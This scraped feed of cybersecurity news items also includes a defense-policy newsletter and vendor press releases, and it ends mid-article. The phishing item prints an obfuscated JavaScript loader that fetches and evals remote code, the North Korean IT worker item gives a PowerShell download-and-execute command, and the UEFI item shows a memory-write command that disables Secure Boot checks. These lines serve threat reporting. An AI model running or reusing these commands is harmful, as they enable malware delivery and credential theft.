ADMIN.FOUNDATION

  • Hackers Mimic as OpenAI and Sora Services to Steal Login Credentials

    ·

    , ,

    In recent weeks, a sophisticated phishing campaign has emerged, targeting corporate and consumer accounts by impersonating both OpenAI and Sora-branded login portals.

    Attackers distribute emails crafted to appear as legitimate service notifications, warning recipients of account suspension or unusual activity.

    These messages include links directing victims to counterfeit login pages that closely replicate the original sites’ layouts and SSL certificates.

    Early reports surfaced after several organizations reported unauthorized access attempts shortly after employees clicked through these phishing lures.

    Unit 42 researchers identified that the threat actors behind this campaign employ a multi-stage loader written in obfuscated JavaScript, dynamically injecting malicious payloads into victim browsers once credentials are submitted.

    The injected code then exfiltrates harvested usernames and passwords to a command-and-control (C2) server before redirecting users to the legitimate service, effectively masking the breach and reducing suspicion.

    This stealthy approach allows the attackers to remain undetected while gathering large volumes of credentials from both enterprise and personal accounts.

    The impact of this malware is significant: compromised credentials can be used to access sensitive data, manipulate AI models, or launch further attacks under the guise of trusted services.

    Organizations relying on Single Sign-On (SSO) solutions are particularly vulnerable, as stolen tokens may grant lateral movement within corporate networks.

    Security teams are advised to review recent login activity, implement multi-factor authentication (MFA), and monitor outbound traffic for connections to known malicious domains.

    Infection Mechanism

    Central to this campaign is the JavaScript loader, which executes immediately after the victim submits credentials on the fraudulent page.

    The loader’s code is heavily obfuscated using custom string-encoding routines. A simplified excerpt of the loader is shown below:-

    (function(){
  const _0x3a5f=['fetch','then','text','eval'];  
  fetch(atob('aHR0cHM6Ly9tYWxpY2lvdXMuZXhhbXBsZS5jb20vZ2V0PWFqYXg='))  
    [_0x3a5f[1]](res=>res[_0x3a5f[2]]())  
    [_0x3a5f[3]](payload=>eval(payload));  
})();

    Once decoded, this snippet reaches out to the C2 endpoint, retrieves a more complex payload, and executes it in the victim’s browser context.

    This dynamic loading strategy makes signature-based detection challenging, as the actual malicious code is never present in the initial page.

    Persistence is achieved by leveraging browser local storage and session restoration scripts, ensuring the loader reactivates even if the user clears cookies or closes the tab.

    Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.

    The post Hackers Mimic as OpenAI and Sora Services to Steal Login Credentials appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • UEFI Shell Vulnerabilities Could Allow Hackers to Bypass Secure Boot on 200,000+ Laptops

    ·

    , , ,

    Hackers can exploit vulnerabilities in signed UEFI shells to bypass Secure Boot protections on over 200,000 Framework laptops and desktops.

    According to Eclypsium, these vulnerabilities expose fundamental flaws in how modern systems trust boot components, potentially enabling persistent malware infections that evade detection.

    Disclosed recently to Framework, the issues stem from legitimate diagnostic tools that, despite being signed by trusted authorities like Microsoft, include commands powerful enough to dismantle core security safeguards.

    As pre-operating system attacks grow more common, echoing threats like BlackLotus and Bootkitty, this discovery underscores the risks lurking in the firmware layer we often overlook.

    Hidden Dangers of Trusted UEFI Shells

    UEFI shells act as pre-boot command-line environments, akin to a supercharged terminal with unrestricted hardware access. Designed for IT pros to diagnose hardware, update firmware, configure settings, or test drivers, they run before the OS loads, granting privileges far beyond typical admin rights.

    The problem arises from their integration into the Secure Boot chain of trust. Microsoft’s UEFI Certificate Authority serves as the root anchor, signing third-party tools that original equipment manufacturers (OEMs) embed in firmware.

    Once signed, these shells execute without scrutiny, even on systems enforcing Secure Boot to block unsigned code.

    Eclypsium’s deep dive revealed that many such shells harbor the “mm” command for memory modification. This tool lets users read or write to any system memory address, bypassing protections like address space layout randomization or data execution prevention features absent in the pre-OS world.

    While useful for diagnostics, it becomes a hacker’s dream when scripted to run automatically via startup files, persisting across reboots without alerting the OS.

    The technique targets the Security Architectural Protocol, which verifies signatures during boot. Eclypsium researchers Jesse Michael and Mickey Shkatov, in their DEF CON 30 demo, outlined a straightforward path: enumerate system handles to find the protocol’s memory address, then use “mm” to overwrite its pointer, nulling it out or forcing a false “success” return.

    A simple command like “mm 0x[target_address] 0x00000000 -w 8 -MEM” disables checks, allowing unsigned bootkits or rootkits to load freely while Secure Boot appears intact.

    Testing on Framework devices confirmed the issue. Using tools like sbverify and custom Python scripts with the pefile library, Eclypsium scanned EFI files for “mm” indicators, flagging high-risk binaries.

    QEMU-based automation further validated execution. This isn’t theoretical; gamers already pay for similar cheats using Microsoft-signed components, and nation-state actors or ransomware groups like those behind HybridPetya could weaponize it for espionage or sabotage.

    UEFI Shell Vulnerabilities

    Affected models span Framework’s lineup, from 11th Gen Intel Core to AMD Ryzen AI series, impacting roughly 200,000 units.

    ProductBIOS Version with Limited ShellBIOS Version with DBX Update
    Framework13 11th Gen Intel CoreVulnerable: Fixed planned in 3.24Vulnerable: Fixed planned in 3.24
    Framework13 12th Gen Intel CoreFixed in 3.18Fix planned for 3.19 (TBD)
    Framework13 13th Gen Intel CoreFixed in 3.08Fixed in 3.09
    Framework13 Intel Core Ultra Series 1Fixed in 3.06Fixed in 3.06
    Framework13 AMD Ryzen 7040 SeriesFixed in 3.16Fixed in 3.16
    Framework13 AMD Ryzen AI 300 SeriesFixed in 3.04Planned in 3.05 (TBD)
    Framework16 AMD Ryzen 7040 SeriesFixed in 3.06 (Beta)Fixed in 3.07
    Framework Desktop AMD Ryzen AI 300 MAXFixed in 3.01Planned in 3.03

    Framework has rolled out fixes by stripping risky commands from shells and updating DBX revocation lists to blacklist vulnerable versions. Users can apply BIOS updates or delete Framework DB keys via setup menus for immediate protection.

    Past incidents, like CVE-2022-34302 and CVE-2024-7344, highlight this as an industry-wide crisis, prompting calls to bar shells from Secure Boot chains in EDK2 specs.

    Defenses include regular DBX updates, BIOS passwords, custom keys, and firmware scanning tools. As Eclypsium warns, implicit trust in signatures blinds us to supply chain perils.

    With firmware attacks escalating, organizations must prioritize this “below-OS” surface to avoid catastrophic breaches. The era of treating signed code as inherently safe has ended; verification is now essential.

    Follow us on Google News, LinkedIn, and X for daily cybersecurity updates. Contact us to feature your stories.

    The post UEFI Shell Vulnerabilities Could Allow Hackers to Bypass Secure Boot on 200,000+ Laptops appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • The D Brief: Gaza ceasefire; Chicago deployment on hold; Qataris in Idaho; AUSA news; And a bit more.

    ·

    A break in the Israel-Hamas fighting after two years of war appears to be holding, so far. “After the release of the last living hostages and Palestinian prisoners and detainees, the tenuous ceasefire in Gaza was holding Tuesday while questions remain over other key parts of a U.S. plan for the region,” the Associated Press reported on Tuesday morning. “The long list of uncertainties includes when Hamas will return to Israel the bodies of the 24 hostages believed to be dead in Gaza, and Israel’s insistence that a weakened Hamas disarm. The future governance of Gaza is also unclear.”

    President Trump touted the ceasefire during a Middle East trip on Monday. “In an atmosphere of ebullient or exhausted relief, few wanted to rain publicly on Trump’s parade,” the Washington Post’s Karen DeYoung wrote, but many obstacles to a permanent peace remain. For example, DeYoung wrote on Tuesday, Trump “predicted the rapid expansion of the Abraham Accords, his first-term achievement of normalization between Israel and a handful of Arab states, but ignored the insistence of much of the rest of the Arab world that the path to a viable sovereign state combining the West Bank and Gaza under the Palestinian Authority must come first.” More, here.

    Revealed: Arab-Israel military cooperation. Washington Post, reporting on Saturday: “Even as key Arab states condemned the war in the Gaza Strip, they quietly expanded security cooperation with the Israeli military, leaked U.S. documents reveal. Those military ties were thrown into crisis after Israel’s September airstrike in Qatar, but could now play a key role in overseeing the nascent ceasefire in Gaza.” Read on, here.

    NPR has a look at the Gaza war by the numbers, e.g. more than 67,000 Palestinians reportedly killed by the Israeli military since October 2023 versus about 1,200 Israelis during the surprise attack by Hamas two years ago. More, here.

    Welcome to this Tuesday edition of The D Brief, a newsletter dedicated to developments affecting the future of U.S. national security, brought to you by Ben Watson and Bradley Peniston. It’s more important than ever to stay informed, so thank you for reading. Share your tips and feedback here. And if you’re not already subscribed, you can do that here. On this day in 1964, Martin Luther King Jr. received the Nobel Peace Prize for his work fighting racial inequality with nonviolence.

    Around AUSA

    Day 1 of the year’s biggest Army-themed event was busy, but several panels were cancelled, including an Indo-Pacific roundtable and a discussion of augmented reality, showing mixed success in efforts to defray the effects of the federal shutdown and the Pentagon’s new restrictions on public speaking. 

    News from the annual meeting of the Association of the U.S. Army in downtown Washington, D.C., includes:

    • Although the Pentagon’s latest strategic documents knock the Indo-Pacific off its perch as the Defense Department’s priority theater, that has not so far reduced funding or training opportunities for soldiers in South Korea, the commander of 8th Army told reporters. Defense One’s Meghann Myers has a bit more from Lt. Gen. Hank Taylor, who confirmed that his civilian workforce has been furloughed during the shutdown.
    • The Army wants AI to help man artillery and air defense units—when the tech is ready, said Maj. Gen. Frank Lozano, who heads Program Executive Office Missiles and Space. “Language learning models aren’t at the point where they can do spatial reasoning or real-time situational awareness and deliver a plan to a soldier to act on. But the Army is working on what they want that to eventually look like,” Myers writes, here.

    Among the industry announcements:

    Around industry

    Defense tech has a new unicorn. Software and analytics firm Govini has joined the ranks of defense unicorns with a new investment that pushes the company’s valuation past $1 billion, Defense One’s Lauren C. Williams reported Friday. 

    Govini, which boasts a 300-person workforce and reported $100 million in revenue for fiscal 2025, joins other billion-dollar defense startups such as robot-boatmaker Saronic, Anduril, and Germany’s Helsing. 

    Background: Govini has recently landed several contracts for its Ark.ai platform, which is used to track and analyze supply chains down to raw materials, including Army and Defense Department-wide IDIQ contracts for supply chain analysis for undisclosed amounts and a slice of the similar government-wide $919 million SCRIPTS contract. The company is also part of the Army’s pioneering Next Generation Command and Control, or NGC2, program, a $99.6 million effort led by Anduril to prototype a new system for the 4th Infantry Division. Govini is working to introduce predictive logistic and replace a manual process. Read more, here. 

    In other industry news, a startup called Valinor has unveiled what is essentially a field hospital in a box, Defense One’s Patrick Tucker reported Sunday. It’s called “Harbor,” and it’s a 20-foot shipping container that can be modified for different types of battlefield care, such as immediate damage control or prolonged casualty care—and it can be modified to power anti-drone defensive systems. 

    Also: Anduril is partnering with Valinor to allow telehealth over its Lattice mesh network to manage and reduce the unit's electromagnetic signatures. 

    Harbor can be set up in minutes and units start around $300,000, which puts them “several orders of magnitude less [in cost] than other traditional medical solutions,” said Luke Sciulli, former U.S. Army medic and head of medical innovation at Valinor. More, here. 

    Around the Defense Department

    The top enlisted leader of the Air Force announced his upcoming retirement on Monday, following the death of his wife on Sept. 20. “After nearly 30 years in uniform, I am retiring from active-duty service, to ensure I take care of our family and learn to live with Katy in a new way, to continue to honor her as I should,” Chief Master Sgt. of the Air Force David Flosi wrote in his message. Task & Purpose has more on Flosi’s career and parting message, here.

    Additional reading: 

    Trump 2.0

    Developing: The Pentagon will build a facility for the Qatari air force at an Idaho air base, the U.S. defense secretary announced on Friday. The arrangement appears to flow from earlier agreements related to the 2017 sale of Boeing F-15Q combat jets to the Gulf monarchy, but the scope of the project, its cost and financing, and Congressional buy-in remain unclear, Defense One’s Tom Novelly reports. 

    “Today, we’re announcing we’re signing a letter of acceptance to build a Qatari Emeri Air Force facility at the Mountain Home air base in Idaho,” Hegseth said during a morning appearance with Qatari Defense Minister Sheikh Saoud bin Abdulrahman Al Thani at the Pentagon. Hegseth made the announcement after thanking his counterpart for Qatar’s role as mediators during the Israel-Gaza war.

    However, seven hours later, Hegseth’s X account tweeted, “Important clarification:.. Qatar will not have their own base in the United States—nor anything like a base. We control the existing base, like we do with all partners.” Asked for further detail, the Office of the Secretary of Defense wrote in an email: “Facilities Construction and Operational Support for Qatari F-15 Aircraft at Mountain Home Air Force Base was executed via foreign military sales, will enable the construction and operational integration of an enduring location for Qatari F-15 aircraft at Mountain Home Air Force Base in Idaho.” Continue reading, here. 

    Update: An appeals court ruled Saturday National Guard troops sent to Illinois can remain on standby but can’t deploy—e.g., to the streets of Chicago against the wishes of local officials—while a lawsuit filed by the state of Illinois works its way through the court system. 

    That means 200 Texas National Guard soldiers will stay nearby in Chicago while 300 Illinois National Guard troops are activated and training, but not deploying to the streets yet either. “Members of the National Guard do not need to return to their home states unless further ordered by a court to do so,” the Saturday ruling said. 

    The panel’s one-page order Saturday “did not include a rationale for the decision, which is temporary,” the New York Times reports, explaining, “Appeals courts often issue short, temporary rulings on time-sensitive matters. Courts generally issue lengthier rulings once judges have had time to review and consider arguments from each party.”

    White House reax: “We're obviously going to litigate this as much as we can,” Vice President JD Vance said on ABC's This Week Sunday.

    Related: Washington state’s attorney general joined Illinois’ suit against the White House over National Guard deployments to Chicago. Already, two dozen other states’ top attorneys and their governors have joined the suit, which “warns that turning the military into a domestic police force would blur the line between civilian and military power—the very abuse the Founders sought to prevent when creating our democracy,” Washington’s Attorney General Nick Brown said in a statement Sunday. 

    Other states in the suit include Arizona, California, Colorado, Connecticut, Delaware, the District of Columbia, Hawai‘i, Maine, Maryland, Massachusetts, Michigan, Minnesota, Nevada, New Jersey, New Mexico, New York, North Carolina, Oregon, Rhode Island, and Vermont. “The governors of Kansas, Kentucky and Pennsylvania also joined the filing,” Brown noted. 

    Bigger-picture analysis: “Trump deploys tactics and language of war against perceived domestic threats,” Emily Davies and Karen DeYoung of the Washington Post reported Saturday. In sum, “Through public statements, orders and a little-noticed policy directive, President Donald Trump has made clear that he is eager to use the might of the American military and the resources of the federal government to crack down on what he sees as domestic threats: violent crime, illegal immigration and the antifa movement,” they write. 

    Expert reax: Trump’s order last month designating “Antifa” as a “domestic terrorist organization” is “ungrounded in fact and law,” Faiza Patel of the Brennan Center’s Liberty and National Security Program wrote in an explainer published Thursday. Acting on Trump’s order, she warns, “would violate free speech rights, potentially threatening any person or group holding any one of a broad array of disfavored views with investigation and prosecution.” 

    To begin, “As both former FBI Director Chris Wray and the Congressional Research Service have explained, antifa is not a group or an organization, but a decentralized movement,” Patel notes. “Moreover, the administration has no authority to designate groups as domestic terrorist organizations, as is obvious from the failure to cite any statute or constitutional provision in support of the president’s action.”

    Further, in pursuit of anti-fascists, Trump’s order and accompanying memo says he wants to target “anti-Americanism, anti-capitalism, and anti-Christianity; support for the overthrow of the United States Government; extremism on migration, race, and gender; and hostility towards those who hold traditional American views on family, religion, and morality.” Patel calls that list “breathtakingly broad…threatening to turn the full force of the federal government to rooting out a conjured-up left-wing conspiracy of political violence funded by shadowy figures.”

    “Neither the law nor the facts support this premise, and court challenges to actions taken pursuant to these orders will likely meet with success,” Patel predicts. “But in the process, many individuals and organizations will be vilified and harmed for their constitutionally protected activities and others will be muzzled as they fear the consequences of associating with or speaking up for groups that have been targeted. And we will all be less safe as law enforcement resources are diverted from real threats to imagined ones.” More, here. 

    Additional reading: 

    Lastly today: Ahead of a Tuesday afternoon deadline, at least 30 news outlets say they won’t sign the Trump administration’s new restrictive rules for Pentagon coverage from inside the building. 

    Among those not signing, per WaPo’s Scott Nover: Defense One, the New York Times, AP, Reuters, the Wall Street Journal, the Financial Times, the Guardian, the Atlantic, CNN, NPR, Task & Purpose, Breaking Defense, The Hill, Politico, the Washington Times, the Washington Examiner, Newsmax, the Washington Post.

    • One outlet that has agreed to the restrictions: One America News.

    Point of clarification: Hegseth’s Monday tweet falsely suggested, among other things, that members of the press currently have unfettered access to Pentagon spaces and don’t wear badges.

    “It’s important everyone understands that this document is not about press’ ability to ‘roam the halls,’” writes CNN’s Natasha Bertrand. “It equates asking for information—the press’ literal job—with criminal activity. The new rules even stipulate that sharing our contact information on social media and asking people to reach out could make journalists a ‘security risk’ and be grounds for revoking badges. That is the real reason why no one —save one far-right outlet—is signing.”

    Related reading: 

    ]]>

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Criminal IP to Showcase ASM and CTI Innovations at GovWare 2025 in Singapore

    ·

    Torrance, United States, October 14th, 2025, CyberNewsWire

    Criminal IP at Booth J30 | Sands Expo Singapore | October 21 – 23, 2025

    Criminal IP, a global cybersecurity company, announced its participation in GovWare 2025, Asia’s largest cybersecurity conference, which will be held at the Sands Expo in Singapore from October 21 to 23.

    At the event, Criminal IP will showcase its flagship platform, introducing its innovative security strategies in Attack Surface Management (ASM) and Cyber Threat Intelligence (CTI) to the global market.

    Strengthening Global Presence through AI-Powered ASM and CTI

    Criminal IP is a security platform that combines AI-based detection technology with OSINT-based data collection capabilities and currently serves users in over 150 countries worldwide.

    Notably, it integrates Attack Surface Management (ASM) and Cyber Threat Intelligence (CTI) to help organizations detect exposed external assets and proactively respond to threats linked to actual attack vectors.

    Connect with the Criminal IP Team

    At GovWare 2025, CEO Byungtak Kang and the global business team will engage directly with international customers and industry leaders. Key sessions and discussions will focus on the following topics:

    • Real-world cyber threat response strategies
    • Latest security technology trends
    • Platform utilization

    The team will also host on-site meetings at Booth J30, with pre-booking available through the Knowledge Hub > Conference section of the Criminal IP website.

    In addition, attendees can participate in special giveaway events, including the official “Passport Event” organized by the conference host.

    “GovWare is one of the most significant cybersecurity events in Asia and provides a meaningful opportunity to showcase Criminal IP’s innovative technologies,” said Byungtak Kang, CEO of AI SPERA, the company behind Criminal IP.

    “We aim to demonstrate the strength of Korean cybersecurity innovation to global customers and partners while expanding our collaborative ecosystem worldwide.”

    About Criminal IP

    Criminal IP provides its Criminal IP ASM and CTI solutions to users in over 150 countries and has established technology alliances with more than 40 global security companies, including Cisco, Tenable, and Snowflake.

    In 2025, the company reinforced its international presence through consecutive appearances at RSAC 2025, Infosecurity Europe 2025, and Interop Tokyo 2025.

    Recently, the company has been expanding partnerships in key international markets, including the Middle East and Europe, positioning itself as a leading company in the global security ecosystem.

    Contact

    Michael Sena

    support@aispera.com

    The post Criminal IP to Showcase ASM and CTI Innovations at GovWare 2025 in Singapore appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Criminal IP to Showcase ASM and CTI Innovations at GovWare 2025 in Singapore

    ·

    Torrance, United States, October 14th, 2025, CyberNewsWire Criminal IP at Booth J30 | Sands Expo Singapore | October 21 – 23, 2025 Criminal IP, a global cybersecurity company, announced its participation in GovWare 2025, Asia’s largest cybersecurity conference, which will be held at the Sands Expo in Singapore from October 21 to 23. At the […]

    The post Criminal IP to Showcase ASM and CTI Innovations at GovWare 2025 in Singapore appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Sweet Security Named Cloud Security Leader and CADR Leader in Latio Cloud Security Report

    ·

    Tel Aviv, Israel, October 14th, 2025, CyberNewsWire

    Sweet Security, a leader in Runtime Cloud and AI security solutions, today announced that it has been recognized as both a Cloud Security Leader and a Cloud Application Detection & Response (CADR) Leader in the 2025 Cloud Security Report by James Berthoty of ‘Latio Tech.’

    The 2025 Cloud Security Report offers insights into the evolution of cloud security, tracing the shift from posture-focused tools to real-time, risk-driven platforms powered by runtime insights.

    Recognizing that cloud security choices depend heavily on each organization’s architecture, team size, and security goals, Latio also acknowledges that security operations teams should be empowered with application layer insights to their running applications.

    The report provides clear, actionable recommendations, structured through a decision tree to help teams design the right cloud security stack for their specific needs.

    The report highlights vendors shaping the future of cloud security through innovation, visibility, and runtime-powered defense.

    Sweet earned two leadership badges for its unique approach to discovering actionable findings in the cloud and for pioneering the use of AI to transform early warning signals into full attack stories.

    According to Latio’s analysis, Sweet Security is built to discover actionable findings in cloud environments. Built for cloud and security operations teams, Sweet provides runtime coverage across applications, workloads, and cloud infrastructure.

    By correlating misconfigurations, identity risks, vulnerabilities, and behavioral signals across the full cloud stack, Sweet empowers teams to prioritize real threats, not just surface-level alerts. 

    “Sweet was a clear choice as a cloud security and CADR leader as innovators bringing the power of runtime protection to practitioners,” said James Berthoty, founder and CEO of Latio Tech. 

    One of Sweet’s most recognized strengths is its AI capabilities that provide prioritization logic and leverage a unique detection approach that identifies suspicious behavior across the cloud stack.

    This enables Sweet to turn early warning signals into full attack stories, tracing attacker activity across the cloud.

    By combining these signals into a single attack narrative across different layers of the environment, Sweet gives operations teams actionable insight to protect their entire cloud.

    Sweet’s key differentiators recognized in the report include:

    • Runtime Protection: Sweet combines runtime insight across vulnerabilities, threats, posture, and identity and extends it all the way back to developers at build time.
    • AI-Powered Investigation: SweetX, the company’s agentic investigator, leverages Sweet’s proprietary LLMs to infer the root cause of an incident and enable rapid response.
    • Robust Detections: Detect attacks as soon as they happen in cloud environments, no matter where they start.
    • Investigation and Response: Sweet reduces investigation time to as little as 2–5 minutes by giving analysts complete, story-like context that includes the full attack impact, visual graph and timeline, achieving a 205-minute mean time to resolution (MTTR).
    • Consolidating Risks and Threats: Combine high-severity posture alerts with real-time attack signals to gain a unified view of your cloud standing and what to address first.

    Latio’s report also highlights Sweet’s expansion into AI SOC workflows and API-layer threat detection, which give teams visibility into their real-time attack surface and data flows across the entire cloud environment.

    “We’re proud to be recognized as both a Cloud Security and CADR Leader by Latio Tech,” said Dror Kashti, CEO and co-founder of Sweet Security.

    “From the start, our goal has been to go beyond alerts and give security teams real-time insight into what’s actually happening in their environments. This recognition shows that the industry is moving toward the same vision, where clarity and runtime understanding drive better cloud defense.”

    About Sweet Security 

    Sweet Security is the leading provider of Runtime CNAPP solutions.

    Powered by comprehensive runtime insights and behavioral analytics, Sweet’s unified platform correlates data across applications, workloads, and cloud infrastructure to deliver real-time detection and response, vulnerability management, posture management, identity threat protection, and API Security.

    Its patent-pending LLM-powered detection engine reduces cloud detection noise to 0.04%, helping organizations achieve industry-leading MTTR benchmarks.

    Privately funded, Sweet is backed by Evolution Equity Partners, Munich Re Ventures, Glilot Capital Partners, CyberArk Ventures, and an elite group of angel investors.

    For more information, users can visit sweet.security.

    Contact

    Chloe Amante

    Montner Tech PR

    camante@montner.com

    The post Sweet Security Named Cloud Security Leader and CADR Leader in Latio Cloud Security Report appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • New Pixnapping Attack Steals 2FA Codes From Google Authenticator Within 30 Seconds

    ·

    , , ,

    Pixnapping, a novel class of side-channel attacks targeting Android devices that can covertly extract sensitive screen data, including two-factor authentication (2FA) codes from Google Authenticator in under 30 seconds.

    This exploit leverages Android’s core APIs and a hardware vulnerability in graphics processing units (GPUs), affecting nearly all modern Android phones without requiring special permissions, researchers said in the ACM Conference on Computer and Communications Security (CCS 2025).

    Demonstrated on Google Pixel models from 6 to 9 and the Samsung Galaxy S25 running Android 13 through 16, Pixnapping bypasses traditional browser protections to snoop on both web content and native apps.

    The attack’s stealthy nature raises alarms for users relying on apps like Signal, Venmo, and Gmail, as it reconstructs displayed pixels pixel-by-pixel without alerting the victim.

    Pixnapping Attack

    Pixnapping exploits Android’s intent system, which allows apps to launch others seamlessly, combined with stacks of semi-transparent activities that overlay victim screens.

    A malicious app initiates the assault by sending an intent to open a target app, such as Google Authenticator, then layers near-invisible windows to isolate specific pixels using masking techniques.

    These overlays apply blur effects via SurfaceFlinger, Android’s composition engine, creating timing variations dependent on pixel colors due to GPU data compression known as “GPU.zip.”

    On Google devices, the attack measures rendering delays from Mali GPU compression, where uniform (white) pixels compress faster than varied ones, leaking color information through VSync callbacks.

    For Samsung’s Galaxy S25, a variant uses multiple blur regions with varying radii to amplify these discrepancies, achieving similar results despite hardware differences.

    Researchers optimized the technique for ephemeral data like 2FA codes by adapting optical character recognition (OCR)-style probing, targeting just four key pixels per digit in Google Sans font to reconstruct codes before they expire.

    pixel stealing framework
    pixel stealing framework

    The attack’s reach extends beyond 2FA to private messages in Signal, bypassing its screen security, location histories in Google Maps, and transaction details in Venmo, exposing data never before vulnerable to pixel-stealing methods.

    A survey of 96,783 Google Play apps revealed that all have at least one exported activity susceptible to intents, while web analysis showed Pixnapping endangers 99.3% of top sites via Custom Tabs, far surpassing outdated iframe-based exploits.

    Google assigned CVE-2025-48561 as high-severity and patched Pixel devices in September 2025, though workarounds persist, and Samsung deemed it low-severity due to implementation complexity.

    To mitigate, experts recommend restricting transparent overlays via app allowlists, akin to the web’s frame-ancestors policy, and monitoring for unusual app behaviors.

    Users should update devices promptly and scrutinize app installations, as this phishing-vulnerable threat underscores Android’s layered UI risks.

    Affected ComponentsDescriptionExamples
    DevicesModern Android phones with Mali or similar GPUsGoogle Pixel 6-9, Samsung Galaxy S25
    Apps TargetedNative and web apps displaying sensitive visualsGoogle Authenticator (2FA), Signal (messages), Venmo (transactions), Gmail
    Android VersionsCore mechanisms present in recent releases13-16

    Follow us on Google News, LinkedIn, and X for daily cybersecurity updates. Contact us to feature your stories.

    The post New Pixnapping Attack Steals 2FA Codes From Google Authenticator Within 30 Seconds appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Thousands of North Korean IT Workers Using VPNs and ‘Laptop Farms’ to Bypass Origin Verification

    ·

    , ,

    Since at least 2018, a covert network of thousands of North Korean IT contractors has infiltrated global technology and infrastructure firms by masquerading as legitimate freelancers.

    These operatives, operating under fabricated identities with AI-generated headshots, routinely use VPN services and “laptop farms” to disguise their geographic origins and circumvent platform verification checks.

    Posing as developers, architects, and designers, they secure contracts on major freelancer platforms and enterprise portals, quietly funneling stolen credentials and sensitive data back to their handlers.

    Initially identified through anomalies in VPN exit nodes and account creation patterns, the scheme gained momentum in mid-2024 when infostealer logs began revealing connections from DPRK-owned VPN clients such as NetKey.

    The malware deployed on compromised workstations exfiltrates session tokens, API keys, and SSH configurations, enabling persistent access to corporate networks without raising immediate suspicion.

    Kela Cyber analysts noted that many of these infostealer infections leveraged common development tools—Python, Node.js, and JetBrains IDEs—alongside bespoke loaders disguised as benign executables like Call.exe and Time.exe (Thousands-of-North-Korean-IT-Workers-Using-VPNs-and-Laptop-Farms-to-Bypass-Origin-Verification.pdf).

    By blending into legitimate workflows, these operators not only evade detection but also expand the potential impact of their espionage activities.

    In 2025 alone, compromised accounts surfaced on collaboration platforms such as Slack and GitLab, allowing attackers to deploy patches laced with backdoors.

    Personal and sensitive data (Source – Kela Cyber)

    The financial sector experienced surges in fraudulent wire transfers, while critical infrastructure projects saw unauthorized design modifications slip through code reviews—threats that underline the severity of this state-backed campaign.

    Detection Evasion Tactics

    A cornerstone of this operation is the use of geographically dispersed “laptop farms”—collections of remotely controlled machines that rotate through IP addresses to emulate authentic user behavior.

    Upon infecting a workstation, the infostealer executes a PowerShell loader with commands resembling legitimate maintenance scripts, for example:-

    powershell -Command "(New-Object System.Net.WebClient).DownloadFile('http://malicious.server/payload.exe','payload.exe'); Start-Process '.\payload.exe'"

    This technique not only fetches the infostealer payload under the guise of routine updates but also leverages IP rotation to thwart origin-based security checks.

    In tandem, operators automate identity management via browser sandboxing tools like IxBrowser, assigning unique credentials and multi-factor tokens for each persona.

    These layered tactics ensure that anomalous traffic blends seamlessly with genuine developer activity, complicating forensic analysis and prolonging dwell time.

    Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.

    The post Thousands of North Korean IT Workers Using VPNs and ‘Laptop Farms’ to Bypass Origin Verification appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Kaspersky Details Windows 11 Forensic Artifacts and Changes With Windows 10 for Investigators

    ·

    , , ,

    As Microsoft pulls the plug on Windows 10 support today, October 14, 2025, organizations worldwide face a pivotal shift toward Windows 11.

    Yet adoption has lagged, with Kaspersky’s Global Emergency Response Team (GERT) noting in early 2025 that the decade-old Windows 7 appeared almost as frequently in investigations as the newer OS.

    With Windows 10’s end-of-life accelerating upgrades, incident responders must adapt to evolving digital footprints.

    Kaspersky researchers have released a timely analysis of forensic artifact changes in Windows 11 24H2, offering investigators a roadmap to uncover evidence in this latest iteration.

    Windows 11 Forensic Artifacts

    At the heart of Windows 11’s innovations is the controversial Recall feature, rolled out broadly in May 2025 for devices with neural processing units (NPUs) on ARM CPUs.

    Designed to let users search their activity history via AI-analyzed screenshots taken every few seconds, Recall stores raw JPEG images in %AppData%\Local\CoreAIPlatform.00\UKP{GUID}\ImageStore.

    Metadata embedded in Exif tags reveals window boundaries, timestamps, titles, process paths, and even browser URIs, potentially a treasure trove for reconstructing attacker movements.

    However, privacy fears persist. Disabled by default in enterprise editions, Recall’s database, primarily the encrypted SQLite file ukg.db, includes tables like App, AppDwellTime, and WindowCapture, detailing app launches, dwell times, and events such as window creations or destructions.

    OCR-extracted text from screenshots populates WindowCaptureTextIndex_content, aiding in spotting sensitive data slips despite filters meant to block incognito modes or password fields.

    Researchers warn that these safeguards falter, making Recall exploitable by malware to harvest credentials. A registry key under Software\Policies\Microsoft\Windows\WindowsAI\ controls its activation, underscoring the need for investigators to check for unauthorized enabling.

    Beyond Recall, standard apps like Notepad now support tabs, persisting states post-termination in %LOCALAPPDATA%\Packages\Microsoft.WindowsNotepad_8wekyb3d8bbwe\LocalState.

    Subfolders TabState and WindowsState hold binary files with unsaved content, paths, hashes, and timestamps, ideal for recovering malicious scripts or logs from threat actors.

    A companion tool, notepad_parser, automates parsing these artifacts. NTFS behaviors have shifted too. In $STANDARD_INFORMATION and $FILE_NAME attributes, actions like renaming or moving files now update access timestamps more aggressively than in Windows 10, altering inheritance patterns.

    Copying or moving between volumes propagates metadata differently, demanding adjusted timelines in analyses, Kaspersky said.

    CategoryWindows 10 BehaviorWindows 11 Behavior (24H2)Forensic Implications
